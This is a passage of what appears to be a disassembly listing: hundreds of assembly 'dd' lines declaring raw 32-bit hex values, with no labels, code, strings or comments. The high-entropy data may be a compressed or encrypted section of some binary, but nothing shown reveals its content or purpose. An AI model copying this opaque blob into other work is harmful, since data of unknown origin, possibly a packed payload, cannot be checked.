		dd 0AB3964B4h, 350090A8h, 83EE7658h, 862ACDFFh,	9D4AACBDh
		dd 55902087h, 3C07466Ah, 7C5C49F2h, 0C463B051h,	90BE93Ah
		dd 64E6EC51h, 0EC62C14h, 0AF9304C0h, 8C89A94h, 9440B06Bh
		dd 0A8E76474h, 0A31D1028h, 0B70B904h, 10968609h, 86DB0E0Eh
		dd 219980A7h, 78BB9ABh,	0BE10AC0Ah, 64E38BC6h, 7B1283E7h
		dd 0B5F921C3h, 2C9F4124h, 884AD7E3h, 7080F484h,	0B0634962h
		dd 4E7C7A1Ch, 0B7549315h, 0F77911E8h, 0D2ACE0Bh, 16845A10h
		dd 0F1BF48h, 0BA1933B8h, 75FEA77Fh, 58939CB2h, 2E0E8428h
		dd 0E99FF74Dh, 9058C086h, 30B67FFBh, 0F2106073h, 4CBCC98Ah
		dd 9700F992h, 2D0E39B1h, 78196B07h, 0A5469200h,	87750149h
		dd 6834ED5Ah, 38C91CC0h, 1227008Bh, 0E3AB5340h,	0A50BE7A3h
		dd 0E4876FF1h, 0E9B200ACh, 99083C7Fh, 7A009016h, 1F8777F6h
		dd 78456h, 71808C40h, 0D260F2Ah, 0EF1E3D13h, 40DD38B0h
		dd 65A84B9h, 0E0E0E497h, 0E8F020FAh, 36580194h,	59D4A41Dh
		dd 0AF7470E2h, 161C42E6h, 6A148FA8h, 5A2C27F8h,	0B893058Ch
		dd 31118A94h, 0CCB7D480h, 0ED031B61h, 9A871F52h, 55F10991h
		dd 0DCA32A6Ch, 380666A1h, 85172CBDh, 40B46050h,	9342B7E1h
		dd 4B4CBC90h, 95ED3F20h, 9F0A9B9h, 0D89508F6h, 265F2B8h
		dd 0B01EAA3Eh, 1060C0B3h, 8D0990D0h, 145121Dh, 6CA7319Eh
		dd 603BE4DDh, 1DF1E068h, 368CFD02h, 0F2658782h,	0A4ED5854h
		dd 28A1EC7Ah, 16082D0Fh, 40F2D008h, 0DB76E96Ch,	96021E77h
		dd 0FB877A68h, 9C46B4h,	74B934D8h, 0AA08CC3Ch, 0E30ABCBCh
		dd 9105EC5Bh, 24CDDD5Fh, 0BCAC742Fh, 862CC314h,	7C195075h
		dd 4C0AFA5Fh, 2100688Ch, 26FE270Fh, 0D216DA94h,	0A8007D7Fh
		dd 0DC07A6F4h, 0ACDB0F1Dh, 0EC2CD6ABh, 45050F52h, 0C58F60C8h
		dd 4C087010h, 0AA0700E8h, 86FD0B73h, 10D8A150h,	0A00C3C72h
		dd 124EF71Ch, 0C469509Eh, 18E7E688h, 680A8CEAh,	0E1E4F5A8h
		dd 83A91020h, 14684008h, 69D096FEh, 3DFC825Dh, 0C5F9246Bh
		dd 2D70F017h, 8FCD1512h, 122C7C91h, 99B048EEh, 72D13CB7h
		dd 9A20873Ah, 3C089B09h
		dd 3C9059B1h, 0D8890F2Dh, 0E0953805h, 0F6400670h, 1FB6073Eh
		dd 5908F223h, 9748D460h, 41322D18h, 70F5B68h, 517EFAA2h
		dd 1F19C379h, 91BB1806h, 3D50F0D6h, 8A021E2Ah, 1A4FBA07h
		dd 7400F454h, 9E690191h, 652C7DFEh, 1E6BE05Eh, 0F0890CA0h
		dd 720911D8h, 71E18AF1h, 929B1C64h, 592CF615h, 89A058Ch
		dd 9440B694h, 649C5F8Dh, 4F8400ADh, 0E77B3919h,	997ACF79h
		dd 8008A2h, 3154AB2Eh, 7AC8EA1Ah, 0B30804A0h, 3E5E60C3h
		dd 81CB2C49h, 473D17F0h, 0ACCC4AB8h, 8F006AD0h,	9861025Eh
		dd 71B7B69Bh, 84003AB3h, 0DB331CBAh, 0F9716FEh,	0A2150052h
		dd 0CA2A08D4h, 0D2F8B8C7h, 0C84404CFh, 9490E896h, 9F604CA8h
		dd 2C044494h, 5CBC6F21h, 0FC7B9CC9h, 132F1C08h,	88008891h
		dd 28A49A2Fh, 0D3139CC4h, 0B4440474h, 30F9C19Ch, 4C2C09C2h
		dd 0DAE6905Ah, 8447EA00h, 1D33AB0Ah, 6F911381h,	858A4FFh
		dd 38FA1525h, 28500C7Ch, 2ED876A9h, 98819E9h, 84892D20h
		dd 7A0098E4h, 3F2A5D77h, 20EB753h, 911539A1h, 0F0C86B19h
		dd 0C297B82Ch, 13B85640h, 403401B6h, 0E43BF20Fh, 7CB4B9E7h
		dd 641BB801h, 0C42DF98Eh, 0B512C448h, 83E4E360h, 38D108h
		dd 7502D4B9h, 0B78D747Dh, 0E02D4812h, 0D5B14490h, 0EF2C18D4h
		dd 0B7AE4082h, 0C023654Fh, 8C86FBA5h, 0D587C8A0h, 14045C68h
		dd 0B9D71C08h, 0D4CDD3DCh, 0B162986Ch, 8548291h, 9CF04017h
		dd 29F4A77h, 0C102C30h,	2E58F481h, 7F3B703Eh, 0FF857E01h
		dd 0BF8067FBh, 0E7FC6420h, 8C305831h, 17FA0308h, 772691E1h
		dd 0B4485828h, 2F87E4A1h, 0FD90C827h, 0B27073DEh, 764500F4h
		dd 873C1AA7h, 6B97853Bh, 44989CE0h, 0E368F6A2h,	2C2858A6h
		dd 403C28A8h, 320B8489h, 0FCA027Bh, 9BC4FE70h, 24808F43h
		dd 604F3909h, 171D1888h, 400E327h, 41FA1438h, 32D575Ah
		dd 0CF7E9083h, 0E8069EFh, 0AFE48D32h, 0AE007A7Ch, 8710AA6h
		dd 0CBCFE887h, 0D091D370h, 0B9C8749Eh, 73602900h, 44787F14h
		dd 9B6C002Dh, 34A9FB4Ch, 855CC1E0h, 0C47626F4h,	88816996h
		dd 0D1E24A1Fh, 0F470E9F8h, 88A16435h, 0E537B831h, 7854A804h
		dd 6484FE55h, 192D9A94h, 13C483C0h, 0B560275Dh,	55BF284Bh
		dd 20B4D076h, 8A01F9BAh, 3AC2DBA5h, 0C07E662Ch,	6B3A358h
		dd 216E901h, 0DC081B3Fh, 0EC584C38h, 604AFB00h,	8068F0A1h
		dd 5304F113h, 41C174B4h, 493C57B8h, 0F04A6CA5h,	924811FCh
		dd 82045D78h, 76131F04h, 0AF436F64h, 48809EE2h,	55034B0Fh
		dd 0C874D445h, 8233C2A7h, 82879008h, 44102D14h,	608F59F8h
		dd 54E0FF27h, 0E4018D96h, 87B72483h, 9852EDDCh,	9704C4E9h
		dd 0F36DF090h, 0F0EB107h, 0E300E429h, 0B4CF0905h, 0D5100550h
		dd 420E2C1h, 0C30C871Ch, 9FC7BC93h, 0EF5216Ch, 96BEE6A9h
		dd 0F245AD83h, 0BFB8E4C4h, 68D2905Ah, 4CC45829h, 0A1C1582Eh
		dd 3A856EF1h, 3B335027h, 6628049Bh, 0D027C82Ch,	0C0228DC4h
		dd 0F0B6900h, 2A6F8249h, 60813E1h, 930B79Fh, 1890882Ch
		dd 0B5BA9740h, 58948498h, 0B008410Eh, 0A24DE4F4h, 0A5FA10D0h
		dd 88A49E1Fh, 9213C534h, 2A881CA0h, 0F80F49Bh, 9A471437h
		dd 1331128Ch, 4C230F5Eh, 8481F4C1h, 543C7A84h, 88F19EC3h
		dd 901468B8h, 40AC04BCh, 710511h, 70E59EF5h, 639A2D10h
		dd 6ABC061Ah, 9A9051C8h, 748250EFh, 64009DA2h, 48202C8Ch
		dd 6DF38D1h, 0E199B082h, 897984A0h, 6C49A9Fh, 0C4E96997h
		dd 0EBC23F9h, 4D0BA0D0h, 1EB97904h, 80BF4B08h, 0A850170h
		dd 0D73F59D6h, 84187586h, 2011D552h, 9011970Fh,	77B43DA3h
		dd 588EA430h, 0B0794B5Eh, 0A80669ADh, 9F042465h, 0E0BCEC08h
		dd 0B7451402h, 0B44349F1h, 3F893AE1h, 28B05885h, 5735003Eh
		dd 682B9A1h, 970F8E91h,	0C05086DEh, 0F8720D1h, 0F375124Ah
		dd 7ACC028Ah, 9638B82Dh, 0F8B2568h, 1489ECCDh, 0B5840027h
		dd 7CCD9Eh, 0FDF90F33h,	0C8BF0322h, 0B8FB822Eh,	42270EC2h
		dd 4DC069D4h, 8C45FE1h,	0C18A69C2h, 98682403h, 2D14E2A4h
		dd 13B8EE9Eh, 0E40880EBh, 0D8BE68D4h, 0B5A90F18h, 0B78D7FF1h
		dd 0A8A2F0BBh, 0E6206444h, 0AF94008Ah, 0C3F904ECh, 420236C4h
		dd 71918420h, 970046BCh, 0BC9E0085h, 5988A8FCh,	403A145Ah
		dd 0C0EF3800h, 743D8590h, 608AE326h, 3F52DD03h,	0B6AFE099h
		dd 5B5309D0h, 68883248h, 4B100A08h, 0C1B41614h,	7C0E35B4h
		dd 8A08C2D0h, 8CB3054Fh, 79402110h, 7F2B0001h, 775283E5h
		dd 0F012ED0h, 89EECF8h,	2C75FE1Fh, 0B5109CE0h, 0CB09DC01h
		dd 0B518815Ah, 10DC6C5h, 1218E840h, 509F00D5h, 4C849485h
		dd 0AC98AAB5h, 0A182510Bh, 40B10h, 159EF04h, 0CF7909B3h
		dd 58F0D32Ch, 0DF2562C0h, 98FB539Fh, 2F910234h,	0EB59F0C3h
		dd 0F80960F8h, 468A6895h, 0AA931250h, 0FD204794h, 0C3649084h
		dd 0F101586Fh, 8F90A298h, 0C0EADFBEh, 673BC0h, 0A0ACC710h
		dd 0C974CBC1h, 2487220Ch, 27FA5077h, 0E8601E36h, 451C02E9h
		dd 2D86F197h, 74716171h, 0AD5A3CB8h, 8ABC54A6h,	80F02949h
		dd 0D828D97Bh, 8B12A722h, 0CCBCED1Bh, 109D9B02h, 0E4F40D23h
		dd 3D66E04Fh, 754E26h, 7E945ADDh, 0E0919E89h, 0C4FC009Dh
		dd 2D820D14h, 0F4604787h, 0F9D2D5ABh, 57BF0891h, 8074BA02h
		dd 9FC4C9CBh, 0C5EFD2FCh, 1F07D850h, 87124410h,	774FC9Ah
		dd 0DC109F99h, 2D41F710h, 813894D8h, 678793FFh,	5958248Fh
		dd 0BEBD1506h, 6570B9CCh, 205109A5h, 0FF6A27FCh, 0F3821609h
		dd 499C59DFh, 0B897DC00h, 0B899DB1Dh, 870E8ADh,	0A4BA5912h
		dd 7BDE8F11h, 3455F24Bh, 701771E4h, 0E8067BADh,	7E49058Ah
		dd 20B8B0FAh, 841CF85Bh, 3580B8FFh, 9BD642FDh, 0F025E5C8h
		dd 0D3658001h, 3BC15479h, 60C0E73Ch, 0F94CB61Ch, 0C367804Ch
		dd 4E39AD4Bh, 55683790h, 0B2C81374h, 0B0474E34h, 0AE5343A7h
		dd 62201E73h, 782F81CFh, 31A0E819h, 28806262h, 0F320FC9Ch
		dd 41F9007Bh, 209A937h,	872A8611h, 8901D48Bh, 0E7BF1AFDh
		dd 98F0AA13h, 0C18C3BCh, 0F7C1214Eh, 0DFE4648Bh, 889C8C4Ah
		dd 6B023588h, 0FEA84120h, 0F3C7089Ah, 7780A017h, 5EB62800h
		dd 0F90DF8h, 688758E6h,	84082CAEh, 6BCC50CEh, 2CC87847h
		dd 394983FEh, 97AD2285h, 408C3057h, 4D6A92B2h, 9B00EDA8h
		dd 957E6EF8h, 83BF0091h, 1D9AAC50h, 9DC008h, 41FA2890h
		dd 4DFD276Fh, 10940041h, 0DE7343h, 0A59CF42Fh, 1B04F813h
		dd 84457813h, 0D090E000h, 4B886D76h, 8B7000B6h,	9F7AF052h
		dd 0C3299D00h, 10AE13FBh, 24FA7F31h, 8F2C8B18h,	0E909B71Bh
		dd 0C8093421h, 872068A3h, 105CCB88h, 163D7BD3h,	11B78EFBh
		dd 0F92EA0DCh, 43E3C22Ch, 2C8414DEh, 0D4151E61h, 5FB0C04Ah
		dd 1F4C2F8Ch, 6BF51E44h, 13AFB014h, 4800C9F8h, 4706C0D7h
		dd 0FF3F2087h, 8BC32D18h, 4DFEAE60h, 6C103836h,	0FBDE02F8h
		dd 5E50EDADh, 0EFAC4028h, 5E00AA9Ah, 0FEA9B90Eh, 1E5B0AA0h
		dd 0FE949ABh, 0B50180C0h, 0C33F0E4Eh, 2D811806h, 0B76868DBh
		dd 0B42C4881h, 0C9883DD4h, 2CE0C8FDh, 9978629Bh, 0F00B5222h
		dd 715407B8h, 807FD650h, 98FEA180h, 0FC888719h,	0A828B730h
		dd 80990E84h, 2CF21C0Ch, 3081F74Ah, 0CFC8AA59h,	86F93DA8h
		dd 6724BE00h, 0FF770A84h, 91B0C705h, 0D840A61Dh, 651D5BCh
		dd 45CD009Ch, 3AD4C125h, 15008F93h, 4BED705Fh, 0A3309A91h
		dd 897C898h, 40E2892h
		dd 0D8AB4FD8h, 7B2088D8h, 52A5132Fh, 1B10C10Eh,	682C2E27h
		dd 60A24D91h, 92F82224h, 135CC427h, 16D0A484h, 1CAE0091h
		dd 0CBC8B12Fh, 1DC5F3Ah, 9CA2B7E0h, 6A20701Ch, 3E50941Ch
		dd 0C4A39980h, 0FE42AA4Fh, 0A7631691h, 1F08B415h, 0D2F9871Ah
		dd 729F4250h, 666C40DCh, 76E809C9h, 268326FCh, 3B24B820h
		dd 4242764h, 2DC4A321h,	1F88B89Ch, 482B5C27h, 33208443h
		dd 0C880104Eh, 0F508B60h, 9D9CE0F0h, 282F6686h,	7EFB0F00h
		dd 509E3B28h, 0D2AA0987h, 2078F808h, 4165B701h,	0FA8EDBD8h
		dd 9F681CF0h, 382A34C9h, 4A82DE6Ch, 7943EF11h, 67080BB4h
		dd 0D882D8F8h, 0FCB0146Ch, 0D0D4F883h, 5021B6D8h, 400356FAh
		dd 8859B3F8h, 0A991C8A1h, 87F34B2Ch, 97867058h,	86B896E1h
		dd 0C03D4A00h, 7D10FD81h, 30322587h, 0FC995442h, 0AE0BF0B9h
		dd 80384326h, 0F0A55860h, 0B9DC00B6h, 91510C6Fh, 452E2CA8h
		dd 27BC2453h, 0FD300494h, 65B402ABh, 2758D2Ch, 0D1B59DBCh
		dd 0B42D0090h, 1E2CE779h, 692087E1h, 1855F8Dh, 0D2B764B0h
		dd 95880C8h, 19B5E617h,	7462E284h, 0A7622602h, 3840C212h
		dd 612EC392h, 0EA037CFAh, 0E025C180h, 2038527h,	0BAE56654h
		dd 4419B79h, 17118253h,	0F1839608h, 239DB4h, 301447F7h
		dd 2600DD1Ch, 850B7ACAh, 0E75DB802h, 773430h, 7EF9D09Fh
		dd 1A7BE863h, 43068C0h,	0D51F302h, 2F4B84EBh, 88D04411h
		dd 0C14B8AA8h, 2D81033h, 85F6008h, 0C5E6FD6h, 0AAD1DB08h
		dd 0C5DD0BDCh, 140118DAh, 0D40A3132h, 0EC3EF97Eh, 0A9A31306h
		dd 0AD3EEC00h, 167FAEA0h, 80532D78h, 354C6B2Ch,	0BB1C90B5h
		dd 0B9BCA0E9h, 20C4971Bh, 821AEC05h, 74CAAA6Eh,	0C0070912h
		dd 74DE1B58h, 64E7C100h, 487A90CDh, 146B0A96h, 8DC188Fh
		dd 660054F8h, 9850C43Ah, 9AFB079Fh, 0F0832D10h,	0B9955886h
		dd 254D8D78h, 7BC902CCh, 68E42408h, 832EC224h, 0F25E7EB0h
		dd 993D3AB8h, 0F10C781Ah, 1049A7A3h, 0A98E2850h, 0BBEA0FB4h
		dd 7FE09525h, 8FDC5B2Dh, 8CBDFC9Ch, 0E8AAB108h,	10500217h
		dd 0AC3478A6h, 0CF1F54E0h, 0AA119580h, 621CD090h, 347738F3h
		dd 19620E07h, 2DE859DCh, 886A24E0h, 1183C12Dh, 407DFD50h
		dd 0F514A095h, 4458CB5Ah, 60890E00h, 5DFE94A8h,	789CC8A1h
		dd 1E9F00FCh, 3B97F1D2h, 1C2D1206h, 0AAE44976h,	4600F4DAh
		dd 0A449F1D7h, 0B95CC2E7h, 0AC090488h, 29648CEDh, 6208190Dh
		dd 0F8603859h, 938CC743h, 7102C28Ah, 0D2F1E880h, 87E834F9h
		dd 22279D7Ch, 65206021h, 913Eh,	9849C0A6h, 8F0012B2h, 80F99D4Ah
		dd 391CF4BDh, 2A008506h, 91BE7607h, 0CD80DDA1h,	1C1D00B3h
		dd 8B952DC5h, 220CFA84h, 208CB282h, 8943A5Fh, 0D4246BAFh
		dd 0B69C2149h, 0E7107843h, 3C815ED4h, 0F2F2108h, 99071AB0h
		dd 8942AC9h, 0C3165546h, 0EC68E844h, 7BEE0080h,	935C3087h
		dd 190C9D58h, 0E1B14700h, 80CCA16Dh, 0CE940E6Eh, 90184182h
		dd 1480B746h, 50336C10h, 4503FE48h, 68089E96h, 0C5200E30h
		dd 52403D66h, 41C4EAF1h, 0E34EF812h, 2F805911h,	0D7DC809Ah
		dd 494B0Ch, 0B1E02E0Fh,	9F101239h, 799CFE25h, 94C94988h
		dd 0D4257FE3h, 0EA8644F9h, 809D60C0h, 261070ACh, 0E4FB17F4h
		dd 90BC02C7h, 9C80A2C3h, 44146E2Eh, 94C90E3Ch, 2408460Fh
		dd 786B746Bh, 8F6D25CCh, 0CF8F81Ah, 95F0B102h, 0F9969F2Ch
		dd 9C0886D4h, 0EB16304Bh, 0D02507CFh, 98E72C84h, 9D976009h
		dd 6400E865h, 9C6AF340h, 8D51030Fh, 7EE92C93h, 48E2684Ah
		dd 0B8343C12h, 1D4BC2A4h, 0B4AF5704h, 0B8837A8Bh, 20005914h
		dd 0CD06473Eh, 4EEA49C1h, 0D9208C9Bh, 55B5360Bh, 35A4A425h
		dd 0F91378E8h, 3264C1B6h, 7EB800DAh, 20AE0E6h, 8EF8AB11h
		dd 0F88013EAh, 4D34B12h, 47B79F00h, 62FC15EFh, 0FDF20040h
		dd 87E8AE34h, 0D8282CFBh, 0BB3CA8F4h, 0E05BAD12h, 1CFAB0h
		dd 0F78672EAh, 0FC8455D9h, 0E351100h, 8C82F988h, 0F6183EC7h
		dd 95370400h, 1A91CD4Dh, 54F2774Ah, 88418588h, 1880072Bh
		dd 0E57E5302h, 82133AF9h, 0E8CDBB1Bh, 5210CC78h, 28AF58A7h
		dd 0A07C821h, 9BAA959Dh, 8548731Bh, 85968793h, 0B5B04FD4h
		dd 39206C66h, 0C8048D5Eh, 840034C7h, 60873152h,	7210DE6Bh
		dd 8DBF3058h, 39445021h, 0E2264807h, 86819CE1h,	613A95A8h
		dd 6FA1C3E0h, 1D834027h, 4177D9h, 7FE96A86h, 4859C79h
		dd 17118761h, 6AF029h, 6D223C80h, 0C82F1352h, 99419A2h
		dd 7C213121h, 380EEC30h, 9803B385h, 3F0C6454h, 0A1D4F9C0h
		dd 3EAC7E00h, 8CEA0AECh, 0C11D7A2h, 66D9FC30h, 63222C2Fh
		dd 958EC10Ch, 1FD257C4h, 64D841ADh, 3A6F0EB8h, 0B79EC6A0h
		dd 7000C85h, 8FDA854h, 9D041E74h, 886A7025h, 2FE96CD0h
		dd 0F71CE430h, 66C4272Ch, 0F3004CEEh, 47DA4193h, 20AB2Ah
		dd 50BAFD28h, 91B8A9E9h, 8127B5Eh, 0EA3EB0B8h, 0F0D45A4Ah
		dd 0C50FB4D9h, 0A8CC9321h, 205217ECh, 7C2CA565h, 0A7881CFCh
		dd 0D0BC2075h, 80257078h, 0E500FE85h, 7FEFB9A9h, 4F08CB71h
		dd 86E8D095h, 5504AB3Ah, 49F32CFFh, 8C81F4B8h, 42D5EA2Fh
		dd 6060993Ch, 554CA4FFh, 8FED3A43h, 768F1CB4h, 0A6E16CD9h
		dd 5D1AEC52h, 38A16762h, 2B2A6C4Fh, 5776B4C1h, 95988303h
		dd 2C136BB1h, 0A0A43C11h, 1B9400DBh, 0F0471062h, 0BC120225h
		dd 98E99BC8h, 16404092h, 90A61E58h, 0AA89861Eh,	4A105180h
		dd 0CDFDCE8h, 144E0901h, 0DC9415F0h, 0B8872802h, 805C4AB5h
		dd 0E594D0D4h, 0FB7831h, 0DA690C2Ch, 87D2F9ACh,	8E072600h
		dd 0A160B05h, 0A2B0A88Fh, 1B4280BEh, 0DF46FB02h, 7C8B8E08h
		dd 81D2023Ch, 0D090F5h,	90152128h, 9C0A1017h, 0FE7884A2h
		dd 0C139DEBh, 89AF2D8h,	0DCE1655Ah, 9B0B4C73h, 598275C8h
		dd 0B8685A77h, 0D88320C4h, 95EE2D6Eh, 11A19806h, 8FFBFD17h
		dd 4510A88Ch, 79187CC0h, 10AC7258h, 875F5CE9h, 6D708258h
		dd 0A20090E6h, 0BFDF1B10h, 322CFCFBh, 3E6845B9h, 798FDC5Eh
		dd 0ACAE9CD6h, 878D00BDh, 0EF3AEAFh, 1AC20049h,	0AD90EB92h
		dd 18258B51h, 2004D852h, 670BBA11h, 60B77915h, 0BE09343Ch
		dd 0AB3C44BCh, 1FF9ECC9h, 1BCEC02Ch, 20C1EF66h,	6C669717h
		dd 2C1E9CF2h, 3464271Fh, 1BC1900h, 3D0A8442h, 0EE3F01A1h
		dd 52858679h, 0F911863Ch, 0F3291A8Ch, 0CB98C12Fh, 0FC8004EBh
		dd 1D0FF2Dh, 8B8AF9DBh,	30015CCCh, 5000AB74h, 8E423AB1h
		dd 499E10A1h, 7987E4FEh, 0A8D2CF8Bh, 0CF8883FCh, 0AA581D02h
		dd 2C3E85ADh, 14EC12h, 24D0A214h, 28CEF80Bh, 3CC11321h
		dd 7E00CB2Dh, 4EAB955Ch, 0B0C32B03h, 0D4D308EEh, 51FE84A4h
		dd 0B45290C7h, 0A358D83Ch, 907790D0h, 0AAD4802h, 0F0150172h
		dd 769CE65Ah, 3369D043h, 670A99E2h, 184A0E8Eh, 0A5980807h
		dd 0E8EF1540h, 7C8C0093h, 11B73227h, 0DC600C86h, 6E074328h
		dd 1C2F540Fh, 967463h, 13CDE916h, 3E859DEh, 64112603h
		dd 804E913Dh, 825009h, 0AA8FCDA7h, 33EAE019h, 7E460E01h
		dd 0C7CE7587h, 6DF7360h, 6D2F8F0h, 2B186015h, 8E688CA0h
		dd 9E340E63h, 0B3806BC1h, 6454B10h, 32E2F101h, 0A2F0AAE6h
		dd 0BB270881h, 80A0562Bh, 0F7AE1038h, 0C06B4D83h, 5B3A1510h
		dd 612007E6h, 0CE500BF2h, 0B00EF9Ah, 9498FF83h,	0EBF87EE8h
		dd 7F079B0Ch, 0C028F4h,	0F296AA84h, 0D4623FD0h,	4A83C100h
		dd 7FB05CA9h
		dd 30EA7850h, 2011AA02h, 0DC003B5Eh, 0C805F5FAh, 94F6A5h
		dd 0B1ED6F56h, 8D6D765Bh, 208B0900h, 0C5B3E474h, 9D59500Bh
		dd 75CE1FE5h, 0B4EB001Bh, 0F6AB5C20h, 8A961603h, 9673C32Bh
		dd 0CFF30620h, 30B0497Fh, 11D23Bh, 4BBD3584h, 0F61C870Eh
		dd 1B28DF53h, 0B3CB31AAh, 0A6AFC1E0h, 0E800CEF8h, 6921F815h
		dd 3FB22ABFh, 7D80D70Dh, 90D1C265h, 0EA006A7Ch,	0D29443DEh
		dd 3F1D13EFh, 0F403C586h, 0B1AA2187h, 8E2FC1C9h, 400BF551h
		dd 9F501759h, 11150CF9h, 2EB02183h, 49B9CA60h, 1FFEA7B6h
		dd 7FED3D3Bh, 0A8198E31h, 7548851Eh, 1800369Ah,	8EBF5147h
		dd 0CE11CE66h, 29FE46C6h, 41C3C01h, 0B3E93292h,	8BC08B61h
		dd 7D81E224h, 0F10DCECh, 0E9412C89h, 0C5FFF80Fh, 0DB03F687h
		dd 0F7201362h, 0EFE900DDh, 29056E3Bh, 5F5DEB00h, 47E9D901h
		dd 0CF26DD40h, 0F8C059C8h, 794BBB53h, 0E91DB21Eh, 3388D5h
		dd 7664ADBDh, 0FEEB2134h, 976A669Bh, 4530743Ch,	0CFB984E8h
		dd 52653D4Ah, 246F0418h, 0ACB8C683h, 5C243405h,	611AC281h
		dd 1060072h, 1E1C8BDAh,	0CEC48324h, 31CD1433h, 810DA206h
		dd 68E9F706h, 0C79F4BC4h, 0B39C501Ah, 843FD828h, 5702B181h
		dd 0D2F45566h, 1D32A339h, 87372280h, 75835B4Ch,	5C367002h
		dd 0A8A32966h, 0D7FB5A10h, 5A408642h, 17BE5856h, 151F807h
		dd 5E08E374h, 0A3B850D8h, 1B793300h, 8158C689h,	0AD1EC344h
		dd 29E35F34h, 6C522F7Ch, 15E190Ch, 33BA0412h, 0A9012451h
		dd 59002EF6h, 0C00FB60Fh, 848734FFh, 500255Bh, 7D1C517Ah
		dd 0D1D681Bh, 90CEF914h, 0C181378Ah, 0D06215Eh,	0E843B6E9h
		dd 317E0BE8h, 0E2895215h, 0EA8387D7h, 0DC13E961h, 0BA528740h
		dd 0A0441E7Bh, 0F7A2D529h, 0E345F442h, 9E505DF1h, 9D5B151h
		dd 0C8BC828h, 22C46504h, 216B4283h, 9161E9E6h, 0FE681685h
		dd 54F35B01h, 0C681E698h, 8EE61A9h, 0A9FF5156h,	928F5EF8h
		dd 712E2084h, 85F6801Ch, 0C72AEBCEh, 0ADEE9FC3h, 70094416h
		dd 92380AECh, 52A5C71Bh, 378CBE54h, 5D3C5A16h, 594E1950h
		dd 68DD5B10h, 0E9581F43h, 0C872C6Bh, 0E053EFD1h, 308C504Ch
		dd 38435B33h, 315F1B5Fh, 82D406CDh, 9084F3F0h, 8CEE9D58h
		dd 382BB180h, 4122CAFCh, 0A73101DAh, 0DE51A956h, 17B08B80h
		dd 0E91B6447h, 0A128F2F7h, 0B8FF42D2h, 7EA41BABh, 6835331Fh
		dd 0C6B75D58h, 0C507FD31h, 4CC6109Eh, 11CAED60h, 52A803D1h
		dd 0D3895A55h, 6462FF9Bh, 51FD236h, 82D34C87h, 0F3038153h
		dd 233F446Ah, 31EBB84Bh, 567E302Dh, 708A11Ah, 0E3D19C03h
		dd 778993E9h, 91C3FEDFh, 4EB9200h, 9931BF16h, 0F84508h
		dd 13079F33h, 0E200C110h, 78EA8102h, 28404C1Eh,	0C8FB5401h
		dd 0B3340B5Ch, 4142E055h, 54552027h, 0E95F21C1h, 9846DF62h
		dd 0D0893D27h, 4E1A3124h, 67052FCFh, 592B4F79h,	95068364h
		dd 216165A7h, 813F56C5h, 6871F141h, 0F3A44637h,	0E951036Dh
		dd 763BDE55h, 0D5CF195Ch, 59218B0Ch, 0F6E589F4h, 0A99992DCh
		dd 6A08164h, 48B89234h,	0D4264C53h, 0B26DA182h,	97455623h
		dd 5715C824h, 413C8891h, 33506268h, 595E62F7h, 52C60F60h
		dd 0E520435Eh, 0ACB6014Eh, 0E680DEF6h, 40AB02Bh, 0B20EC9E9h
		dd 40D2483Dh, 2A98A600h, 5AD029B1h, 682C4ACh, 54E6A848h
		dd 80AF92Ch, 5D580Fh, 5BDD0113h, 4389A2D1h, 29582667h
		dd 2BCA48Eh, 2CAF444Eh,	55D9C11Ah, 0F0F5F434h, 1B62FF87h
		dd 90B2662Ah, 0FF02F354h, 35581140h, 0BAA4DB01h, 77286899h
		dd 202D8356h, 56A01B6Bh, 30BF93Dh, 5D801DBh, 5287E81Ch
		dd 8DC13A28h, 45493735h, 0D921A041h, 0AFF46B65h, 381AD34Ch
		dd 0CA048137h, 6C436795h, 587F7081h, 0C210C0CEh, 6E00AC4h
		dd 6A30199h, 487D89E9h,	86BCB83Ah, 0C6295F43h, 0BBB91E1h
		dd 90180EA7h, 0B12633B2h, 40107196h, 3E0C103h, 37BFF05h
		dd 834D60FCh, 928B4974h, 0CAD49172h, 0BCD500B2h, 31F0C57h
		dd 166CE381h, 0F7E35D92h, 0E95B7206h, 932CEAD1h, 53EA86Ch
		dd 55535E54h, 0A0C56BDh, 81CE972Bh, 16919635h, 47BF3003h
		dd 0EFC58080h, 5EB34E1h, 0C50C257h, 0FA69C2CAh,	5089B88h
		dd 5C70ADE9h, 0C4312892h, 98436240h, 0EF5859D8h, 7A378166h
		dd 33312BFDh, 87337A88h, 2424483Ah, 0C0B72731h,	498ABEE2h
		dd 0F342D749h, 22C64F8h, 56E08950h, 0E44AE7E9h,	68146BCCh
		dd 0D3CD463Ah, 0C6FEE303h, 41019280h, 84424EA8h, 0C15E047Ah
		dd 83D3BCBDh, 4596648h,	2CF88154h, 0E52C93D2h, 0E7C86883h
		dd 12A4CB4Fh, 2E86CC61h, 0E61CC330h, 84F65B8Fh,	0F8AC7D55h
		dd 36FC1C77h, 0BD3680E3h, 22BA6C91h, 95F53181h,	6402E90Dh
		dd 0AC3FB88Bh, 5754006Eh, 0B70A53BFh, 6FE9787Fh, 66EF201Ch
		dd 23B55160h, 19FACDFEh, 0A093AA9Ah, 0E9C10621h, 0D148E778h
		dd 7B95EE7Ah, 19E232EAh, 3311C72Dh, 0DA312D30h,	0B2410D06h
		dd 0B12B8028h, 0F6C9FE74h, 0E0F5F7D1h, 8540B232h, 28118A0Ah
		dd 2B0CA383h, 6717E2A4h, 0CB040156h, 80053DFDh,	0CFDF05F4h
		dd 31D84FDAh, 66F453D6h, 0CE8306FAh, 84133EBh, 0D2C7F408h
		dd 0FC883AC7h, 2AC1E125h, 149DF503h, 0D67E8C57h, 94B0B20Ch
		dd 14F3D050h, 1804068Eh, 0E6CEAE9h, 3C608EAAh, 2496886Ah
		dd 0E0D60849h, 0E8295C87h, 0D42661B9h, 51162EDFh, 7A8549A8h
		dd 2D2DD1B8h, 20A6F5BAh, 8E9A8EC2h, 13875B25h, 0D9A619CFh
		dd 28B9450Ch, 59CE84EFh, 0DE16F8A6h, 3D54545Bh,	3B1A6028h
		dd 0D805221h, 36D484BDh, 0CD690131h, 0B5B08888h, 580BC392h
		dd 0B918AAADh, 452D0514h, 2B892805h, 5016EB5Ch,	0BFE1F00h
		dd 0FC4E412Fh, 3B31FE6h, 0D6F70B44h, 80B69A07h,	0F0894004h
		dd 0E0C1E93Fh, 50AFB19Dh, 60CC5888h, 0D541DC90h, 68B40447h
		dd 12005C0Bh, 9C54A92Dh, 0E0F80B5Bh, 0BA00FA53h, 2D063EAFh
		dd 0B8005042h, 62606CF6h, 2CE9C231h, 0B0A222B3h, 0D7875A2Ch
		dd 0FD51ACF6h, 644626C1h, 3885C0Dh, 0A3E91053h,	0BB52267Eh
